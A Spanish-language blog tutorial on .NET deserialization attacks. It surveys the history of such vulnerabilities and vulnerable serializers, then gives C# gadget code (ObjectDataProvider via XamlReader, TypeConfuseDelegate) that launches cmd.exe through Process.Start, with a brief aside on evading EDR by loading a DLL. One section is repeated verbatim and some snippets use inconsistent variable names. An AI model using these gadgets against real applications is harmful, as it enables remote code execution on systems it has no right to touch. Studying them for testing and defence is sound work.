Ataques de deserialización
Antes de comenzar, debo resaltar que para comprender mejor este tema es recomendable contar con conocimientos sobre aplicaciones web, .NET y, tal vez, saber decompilar ensamblados. Nada que con mayor investigación no puedas resolver.
Qué es?
La serialización es el proceso de convertir un objeto en memoria en una secuencia de bytes. Estos datos luego pueden almacenarse o transmitirse a través de una red. Posteriormente, pueden reconstruirse mediante otro programa o incluso en un entorno de máquina diferente.
Por el contrario, la deserialización es el proceso inverso, en el cual los datos serializados se reconstruyen nuevamente en el objeto original.
Sin embargo, cuando una aplicación deserializa datos controlados por el usuario, existe el riesgo de que se produzcan vulnerabilidades de deserialización. Estas pueden explotarse para lograr objetivos como: remote code execution, object injection, arbitrary file read y denial of service.
Existen tres principales tecnologías de serialización en .NET:
-
Serialización JSON: serializa objetos .NET hacia y desde la notación de objetos JavaScript (JSON).
-
Serialización XML y SOAP: serializa únicamente las propiedades públicas y campos de los objetos, sin preservar completamente la fidelidad del tipo.
-
Serialización binaria: registra el estado completo del objeto y preserva la fidelidad del tipo; al deserializar, se crea una copia exacta del objeto original.
Cabe resaltar que, para lograr este tipo de hallazgos, en la mayoría de los casos se requiere un enfoque de caja blanca o caja gris. En mi experiencia, también es posible encontrarlo en caja negra, especialmente si se logra la lectura de archivos que permita identificar manualmente estos patrones.
Desde Adán y Eva? (Historia)
Como cualquier tipo de vulnerabilidad, hubo alguien que marcó el inicio de este vector de ataque:
- 2007: Primera vulnerabilidad de deserialización registrada CVE-2007-1701, que permitía ejecutar código arbitrario a través de
PHP session_decode. - 2011: Primera vulnerabilidad de deserialización basada en gadgets CVE-2011-2894, utilizando
ProxyeInvocationHandlerpara lograr ejecución de código tras la deserialización. - 2012: Se publica el whitepaper ¿Eres mi tipo?, que discute la serialización en .NET y referencia CVE-2012-0160, vulnerabilidad que conduce a ejecución de código arbitrario en .NET Framework.
- 2015: Se descubre el gadget Apache Commons Collections (CVE-2015-4852, CVE-2015-7501), permitiendo ejecución de código arbitrario contra múltiples aplicaciones Java.
- 2017: Se publica el whitepaper Friday the 13th JSON Attacks, abordando vulnerabilidades de deserialización en .NET. También se introduce YSoSerial.NET, herramienta para generar payloads de deserialización usando distintos gadgets.
Identificar o cazar?
Como mencioné al inicio, normalmente se identifica mediante análisis estático con los permisos adecuados. En mi experiencia encontré cinco casos derivados de caja negra, donde fue posible la lectura y descarga de archivos.
Si este no es tu caso, o estás comenzando a incluir esto en tu arsenal técnico, puedes montar un laboratorio. No recomendaré ysoserial en esta etapa —no porque no sea útil— sino porque antes de automatizar debes entender cómo y por qué ocurren las cosas.
En el escenario que elijas, primero debes conocer herramientas clave para decompilar .NET:
- JetBrains – Solo Windows.
- ILSpy – Multiplataforma.
- dnSpy – Solo Windows.
- DeSearch – Script creado por mí.
Existen múltiples serializadores en C#/.NET, incluyendo binarios, YAML y JSON. Afortunadamente —o desafortunadamente— muchos pueden ser vulnerables y explotarse de forma muy similar.
En Desearch explico qué patrones buscar. Si mi desarrollo probablemente es un desastre, te dejo el readme de la publicación y además la siguiente tabla para referencia.
Common Deserialization APIs and Implementations
| Serializer | Example Method | Reference |
|---|---|---|
| BinaryFormatter | .Deserialize(...) | Microsoft |
| FastJSON | JSON.ToObject(...) | GitHub |
| JavaScriptSerializer | .Deserialize(...) | Microsoft |
| Json.NET | JsonConvert.DeserializeObject(...) | Newtonsoft |
| LosFormatter | .Deserialize(...) | Microsoft |
| NetDataContractSerializer | .ReadObject(...) | Microsoft |
| ObjectStateFormatter | .Deserialize(...) | Microsoft |
| SoapFormatter | .Deserialize(...) | Microsoft |
| XmlSerializer | .Deserialize(...) | Microsoft |
| YamlDotNet | .Deserialize<...>(...) | GitHub |
Caja ?
Dependiendo del tipo de interacción, es posible que no siempre tengamos acceso al código fuente o a los binarios. Por lo tanto, para identificar funciones de deserialización, debemos buscar bytes o patrones específicos (magic bytes) en los datos enviados desde el cliente al servidor. Esto se encuentra automatizado en el script Desearch.
Para aplicaciones .NET Framework, podemos buscar:
- Cadenas Base64 que comiencen con
AAEAAAD///// - Cadenas que contengan
$type - Cadenas que contengan
__type - Cadenas que contengan
TypeObject
No siempre es vulnerable
Es importante tenerlo claro: no todos los usos de una biblioteca de deserialización son vulnerables.
Supongamos que queremos crear una clase llamada ExampleClass que implementa la función Deserialize utilizando JavaScriptSerializer para deserializar un objeto Prueba:
public class Prueba
{
public string Name { get; set; }
public int Age { get; set; }
}
Primera implementación:
using System.Web.Script.Serialization;
public class Ejemplo
{
public JavaScriptSerializer Serializer { get; set; }
public Prueba Deserialize<Prueba>(string str)
{
return this.Serializer.Deserialize<Prueba>(str);
}
}
Otra representación:
using System.Web.Script.Serialization;
public class Ejemplo
{
public Prueba Deserialize<Prueba>(string str)
{
JavaScriptSerializer serializer = new JavaScriptSerializer();
return serializer.Deserialize<Prueba>(str);
}
}
La diferencia es mínima, pero el primer ejemplo es potencialmente vulnerable y el segundo es seguro. En el primer caso, un atacante puede controlar la instanciación del objeto Serializer. Si se utiliza SimpleTypeResolver al crear la instancia, la deserialización puede volverse explotable.
ExampleClass demo = new Ejemplo();
example.Serializer = new JavaScriptSerializer(new SimpleTypeResolver());
example.Deserialize("...[pwned]...");Explotación de vulnerabilidades de deserialización
Este ejemplo está basado en la regla de análisis de código CA2322. El punto clave es que las librerías de deserialización no son inherentemente vulnerables; el contexto determina la exposición.
¿Qué es un gadget?
Para lograr objetivos como escrituras arbitrarias de archivos o ejecución remota de código mediante deserialización, es necesario utilizar un gadget o una cadena de gadgets (gadget chain).
Un gadget es un objeto configurado de forma específica para que ejecute acciones deseadas tras la deserialización.
Nota: Estos recursos fueron, para mí, de los más complejos de encontrar y comprender; por eso los referencio directamente.
ObjectDataProvider
Según Microsoft, ObjectDataProvider es una clase utilizada para “envolver y crear un objeto que pueda usarse como fuente de enlace”.
Claro, es Microsoft… pero para mi… es una clase del namespace System.Windows.Data (ensamblado PresentationFramework.dll) utilizada en WPF para crear y exponer objetos como fuentes de datos directamente desde XAML.
Permite:
- Instanciar objetos dinámicamente.
- Invocar métodos sobre esos objetos.
- Pasar parámetros al constructor o a métodos.
- Exponer el resultado como fuente de binding.
Internamente hereda de DataSourceProvider y ejecuta el siguiente flujo:
- Se inicializa.
- Ejecuta
BeginQuery(). - Instancia el objeto mediante reflexión.
- Invoca el método especificado.
- Publica el resultado en
Data. - Dispara
DataChanged.
La palabra clave aquí es reflexión.
Propiedades clave:
- ObjectType
- ObjectInstance
- ConstructorParameters
- MethodName
- MethodParameters
- IsAsynchronous
- Data
Si encontramos ObjectType, MethodName y MethodParameters, podemos instanciar un objeto arbitrario y llamar a un método arbitrario con parámetros arbitrarios sin invocar explícitamente código imperativo.
Ejemplo:
using System.Windows.Data;
namespace Ejemplo
{
internal class Pruebas
{
static void Main(string[] args)
{
ObjectDataProvider hma = new ObjectDataProvider();
hma.ObjectType = typeof(System.Diagnostics.Process);
hma.MethodParameters.Add("C:\\Windows\\System32\\cmd.exe");
hma.MethodParameters.Add("/c calc.exe");
hma.MethodName = "Start";
}
}
}
Este patrón puede convertirse en un gadget que habilite ejecución remota de código.
Json? pero el destripador.
Pero… ¿cómo lo encontramos?
Es sencillo. Más arriba hice mención de los recursos más importantes durante esta investigación; solo tienes que hacer un:
grep -r "JsonConvert.DeserializeObject"
O en Windows (buscarías de forma muy general la función):
PS C:\> Select-String -Pattern "\.Deserialize\(" -Path "*/*" -Include "*.cs"
Y como siempre, antes de cortar un árbol, ten afilada tu hacha. Así que cualquier resultado obtenido debemos verificar si esta llamada de deserialización es vulnerable o no.
Con una búsqueda rápida encontraremos lo mencionado anteriormente en Ataques JSON del viernes 13, libro blanco de Álvaro Muñoz y Oleksandr Mirosh. El artículo analiza varios serializadores Java y .NET que utilizan JSON y explora sus vulnerabilidades y cuándo son susceptibles. En la página 5 podemos ver el siguiente párrafo sobre Json.Net.
Json.Net Project Site: http://www.newtonsoft.com/json NuGet Downloads: 64,836,516
Json.Net is probably the most popular JSON library for .NET. In its default configuration, it will not include type discriminators on the serialized data which prevents this type of attacks. However, developers can configure it to do so by either passing a JsonSerializerSettings instance with TypeNameHandling property set to a non-None value:
var deser = JsonConvert.DeserializeObject<Expected>(json, new
JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.All
});
Or by annotating a property of a type to be serialized with the [JsonProperty] annotation:
[JsonProperty(TypeNameHandling = TypeNameHandling.All)]
public object Body { get; set; }
Esto es de suma importancia en tu prueba porque, dependiendo del escenario, sabrás qué realizar o qué invalidar. En mi experiencia puedo comentar que, en la mayor parte de los casos, está configurado como “All”. ¡Así que parece que esta llamada de deserialización debería ser vulnerable! ¿O no?…
Algo que debes saber es que, en la mayoría de los casos, los desarrolladores cometen el error de utilizar una DLL. Esto es muy interesante porque me saldré unos segundos del tema para explicar este hermoso beneficio…
Evasión sin querer…
¿Por qué crees que cuando estás escribiendo tu prueba de exploit como el que mostré arriba, necesitarás ver alguna salida en JSON o no? Para ello necesitarás una sección de código como esta:
JsonSerializerSettings config = new JsonSerializerSettings()
{
TypeNameHandling = TypeNameHandling.All
};
string salida = JsonConvert.SerializeObject(hma, config);
Console.WriteLine(salida);
Tu entorno te dirá que está mal… porque Json.NET no es un paquete oficial de Microsoft y, por lo tanto, no está instalado de forma predeterminada.
¿Cómo solucionarlo? Igual que un developer, jajaja…
Tienes dos opciones. La primera es instalarlo con Install-Package Newtonsoft.Json desde PowerShell, claro ;).
La opción más fácil es descargar la DLL y, dentro de Visual Studio, navegar a Project > Add Reference…, seleccionar Browse y encontrar tu\ruta\dedescarga\Newtonsoft.Json.dll.
No diré mucho sobre la segunda opción, pero vuélvelo a leer… si logras ver esto… ¡PELIGROOOOO! (pero para el dev xD).
¿Y la evasión?
Claro. Lo importante: te expliqué cómo lo hace un dev. Ahora adivina: en una dependencia como Windows utilizan sus mejores AV/EDR… pero ¿qué crees? Existen procesos padres y componentes permitidos para su uso. Ese proceso padre puede generar procesos hijos y, si esto no se tiene mapeado correctamente… así es, podrás mandar a llamar la DLL y ejecutar código sin restricción desde un .exe (ACLARO QUE ES EVASIÓN… es decir, que ya estás dentro y buscas persistencia o estabilidad para no ser detectado).
Volviendo a web
Muy bien, ya entendiste e hiciste tu primer exploit. ¡Felicidades! Ya pasaste lo más difícil. Ahora viene lo más cabrón: ¿dónde inyecto y qué inyecto? xD…
Depende de tu escenario. Es decir, tienes que revisar el código y encontrar la sección que utilice algo de lo que mencioné en el documento. Te daré dos ejemplos que me he encontrado 2-3 veces.
XMLSerializer
okay muy bien, la mejor opcion es hacerlo por base64 por algun parametro que deserialize, se que ya quieres verlo pero te platicare sobre dos cosas importantes antes de que te enfrentes a ello.
XML
esto es importante como todo.. pero sucede mucho especial con “XmlSerializer”.
Veamos un ejemplo publico:
DotNetNuke, un popular .NET CMS, era vulnerable a un ataque de deserialización de manera muy similar hace unos años. Básicamente, si un atacante puede controlar el tipo con el que XmlSerializer se inicializa, entonces la deserialización es susceptible de explotación. ( esta informacion si quieres probar hacerlo haz APTLabs de HTB, hermoso prolab)
Desarrollo?
El terror de los prompt enginners codigo de referencia.
Podríamos suponer que desarrollar el exploit es tan simple como serializar un ObjectDataProvider una vez más para conseguirlo command execution, pero lamentablemente esta vez no es tan sencillo. en el codigo de referencia observamos que si bien la carga útil XML contiene una ObjectDataProvider, está envuelto dentro de un ExpandedWrapperOfXamlReaderObjectDataProvider tag.
Antes de empezar a copiar y pegar cualquier cosa a ciegas, intentemos entender qué está pasando aquí. Después de buscar un poco, vemos en la diapositiva “Overcomming XmlSerializer constraints” del Ataques JSON del viernes 13 charla en BlackHat 2017 discutiendo XmlSerializer en el contexto de la vulnerabilidad DotNetNuke.
La diapositiva menciona que los tipos con miembros de interfaz no se pueden serializar y que esto afecta el Process clase, que es con lo que estábamos usando ObjectDataProvider en el exploit anterior. Sin embargo, también menciona que podemos utilizar XamlReader.Load en lugar de conducir a remote code execution, así que veamos esto un poco más de cerca. Esencialmente, XamlReader es solo otro serializador con el que se puede utilizar .NET. No podremos serializar ObjectDataProvider directamente con XmlSerializer conseguir code execution, pero podemos serializar un XamlReader y luego pasar un serializado ObjectDataProvider to XamlReader lo que entonces debería dar como resultado code execution; SI NO ME ENTENDISTE ES UN POCO CONFUSO DEJAME EXPLICARLO MEJOR…
Cuando se explota una vulnerabilidad de deserialización en .NET usando XAML, el problema es que no puedes serializar directamente clases como Process con XmlSerializer porque tienen miembros de interfaz, pero sí puedes hacerlo indirectamente mediante XamlReader.Load. Esto funciona porque XamlReader interpreta XAML como un lenguaje de instanciación de objetos: cuando carga un archivo XAML malicioso, crea objetos según lo definido en el marcado, y si ese XAML contiene un ObjectDataProvider que apunta a Process.Start(“cmd”,“/c calc.exe”), el sistema ejecutará ese comando al procesarlo. Este método es poderoso porque XamlReader permite instanciar casi cualquier clase .NET y llamar a métodos estáticos o instanciados, lo que convierte datos XAML en código ejecutable, permitiendo RCE si la entrada no está validada. Por eso, cargar XAML de fuentes no confiables es extremadamente peligroso.
Reutilizando nuestro ObjectDataProvider desde antes, y luego agregando un par de líneas para serializar el objeto con writerXaml (la contraparte de XamlReader) obtenemos este código (asegúrate de agregar la referencia a System.Windows.Markup (from PresentationFramework) similar a como lo hicimos con ObjectDataProvider):
using System;
using System.Windows.Data;
using System.Windows.Markup;
namespace Xploit
{
internal class Prueba
{
static void Main(string[] args)
{
ObjectDataProvider hma = new ObjectDataProvider();
hma.ObjectType = typeof(System.Diagnostics.Process);
hma.MethodParameters.Add("C:\\Windows\\System32\\cmd.exe");
hma.MethodParameters.Add("/c calc");
hma.MethodName = "Start";
string xaml = XamlWriter.Save(hma);
Console.WriteLine(xaml);
}
}
}
Ahora que?… ejecutalo y tendras una salida en xml, sin olvidar la calculadora…
continuara…xd
Gadget TypeConfuseDelegate
Para los dos últimos exploits, hemos utilizado el ObjectDataProvider gadget, pero existen muchos más gadgets y se descubren más todo el tiempo, así que echemos un vistazo a otro llamado TypeConfuseDelegate gadget.
¿Que es?
TypeConfuseDelegate es el nombre de un .NET Framework dispositivo de deserialización divulgado originalmente por James Forshaw en Esta publicación del blog de Google Project Zero desde mi punto de vista el mejor gadget que existe…
Lo más importante que debemos saber:
¿Como funciona?
Lo primero que debemos entender es que este gadget comienza con una clase llamada ComparisonComparer, que es una clase serializable, internal, dentro de la clase Comparer.
ComparisonComparer extiende la clase Comparer y tiene una propiedad interna Comparison
public delegate int Comparison<in T>(T x, T y);
Gadget TypeConfuseDelegate
Para los dos últimos exploits, hemos utilizado el ObjectDataProvider gadget, pero existen muchos más gadgets y se descubren más todo el tiempo, así que echemos un vistazo a otro llamado TypeConfuseDelegate gadget.
¿Que es?
TypeConfuseDelegate es el nombre de un .NET Framework dispositivo de deserialización divulgado originalmente por James Forshaw en Esta publicación del blog de Google Project Zero desde mi punto de vista el mejor gadget que existe…
Lo más importante que debemos saber:
¿Como funciona?
Lo primero que debemos entender es que este gadget comienza con una clase llamada ComparisonComparer, que es una clase serializable, internal, dentro de la clase Comparer.
ComparisonComparer extiende la clase Comparer y tiene una propiedad interna Comparison
public delegate int Comparison<in T>(T x, T y);
Aquí lo más importante está dentro del método Compare; vemos que invoca al delegado. Lo más razonable es que, si podemos crear un ComparisonComparer y de alguna manera delegar el Process.Start como el método comparison, entonces esto lo invocaría… eso marca la teoría, veamos más… Recordar que esto se expone a través del método Comparer.Create.
Entonces tenemos una manera de crear un ComparisonComparer, pero nuestro problema ahora es que Comparison espera un método que devuelva un int, y Process.Start devuelve un objeto Process.
Aquí es donde MulticastDelegate entra en juego. Para decirlo de forma sencilla, un MulticastDelegate es solo una lista de métodos delegados que deben invocarse uno tras otro. Aunque todavía no podemos delegar Process.Start como un Comparison
Así que echemos un vistazo al comienzo del código del gadget:
// delegamos un nuevo comparison
Delegate Comparest = new Comparison<string>(string.Compare);
// construimos el multicastdelegate
Comparison<string> multicastD = (Comparison<string>) MulticastDelegate.Combine(stringCompare, stringCompare);
// usamos la instancia mencionada y pasamos el multicastdelegate
IComparer<string> comparisonComparer = Comparer<string>.Create(multicastDelegate);
En este punto, tenemos una instancia de ComparisonComparer que invocará dos métodos string.Compare seguidos cuando se invoque el método Compare. Aquí es donde entra la “Type Confusion”. Dentro de MulticastDelegate existe un campo privado llamado _invocationList que contiene los métodos delegados en el orden en que deben invocarse. Dado que este es un campo privado, no podemos actualizarlo directamente; sin embargo, podemos solucionar esto usando una clase llamada FieldInfo:
FieldInfo fi = typeof(MulticastDelegate).GetField("_invocationList", BindingFlags.NonPublic | BindingFlags.Instance);
// obtenemos la lista de invocación para el multicast
object[] listainvok = multicastD.GetInvocationList();
// sobrescribimos la segunda delegación de string.Compare con Process.Start
listainvok[1] = new Func<string, string, Process>(Process.Start);
fi.SetValue(multicastD, listainvok);
Ahora tenemos un MulticastDelegate que invoca comparest seguido de Process.Start cuando el ComparisonComparer invoca Compare. Pero aún no tenemos nada que invoque Compare. Aquí es donde entra SortedSet. SortedSet es un Set que se ordena automáticamente cada vez que se agrega un nuevo elemento (suponiendo que haya al menos dos elementos en total). Para realizar la clasificación, invoca Compare en la instancia interna de Comparer que puede ser especificada por el usuario, lo que significa que podemos proporcionar nuestro ComparisonComparer. Además, e igualmente importante, SortedSet se puede serializar y, tras la deserialización, agregará los elementos a una nueva instancia de SortedSet uno por uno, activando efectivamente la función Compare.
En teoría, las últimas líneas de código serían sencillas…
// Usando el sortedset con nuestro comparisoncomparer y añadiendo dos strings para cuando esto pase al Process.Start ejecutemos..
SortedSet<string> sorset = new SortedSet<string>(comparisonComparer);
sorset.Add("/c calc");
sorset.Add("C:\\Windows\\System32\\cmd.exe");
Sé que suena confuso, pero velo de esta manera: TypeConfuseDelegate es un gadget de deserialización que explota una debilidad histórica en la verificación de tipos dentro del .NET Framework para lograr ejecución de código durante la deserialización. La técnica parte de un ComparisonComparer
Al final quedaría esto así:
Delegate comparest = new Comparison<string>(string.Compare);
Comparison<string> multicastD = (Comparison<string>) MulticastDelegate.Combine(comparest, comparest);
IComparer<string> comparisonComparer = Comparer<string>.Create(multicastD);
FieldInfo fi = typeof(MulticastDelegate).GetField("_invocationList", BindingFlags.NonPublic | BindingFlags.Instance);
object[] listainvok = multicastD.GetInvocationList();
listainvok[1] = new Func<string, string, Process>(Process.Start);
fi.SetValue(multicastD, listainvok);
SortedSet<string> sorset = new SortedSet<string>(comparisonComparer);
sorset.Add("/c calc");
sorset.Add("C:\\Windows\\System32\\cmd.exe");
Muchos más gadgets, mucho más trabajo, mucho más tiempo, más vulnerabilidades…
Por algo estaré publicando posts de temas que nunca se acaban. No hablo de hacer cosas repetitivas con un cambio mínimo; cualquier tema publicado en mi blog será de cosas complejas que llevan una dedicación de fondo. Como sabrás si viste mi LinkedIn, me he desplazado mucho en otras áreas y he encontrado algunas cosas importantes. Pero si algo amo de la ciberseguridad y la tecnología en general es que no se detiene: pasan los días y técnicas que tal vez publique ya fueron parchadas y otras más se acaban de descubrir. Esto no significa que tú, como lector, hayas perdido el tiempo, sino que ahora tendrás una visión más avanzada sobre esto. Me encanta poder contarles que me encuentro escribiendo más gadgets y otro que me funcionó mucho.
En unos dias continuo… (Explotación de vulnerabilidades de deserialización)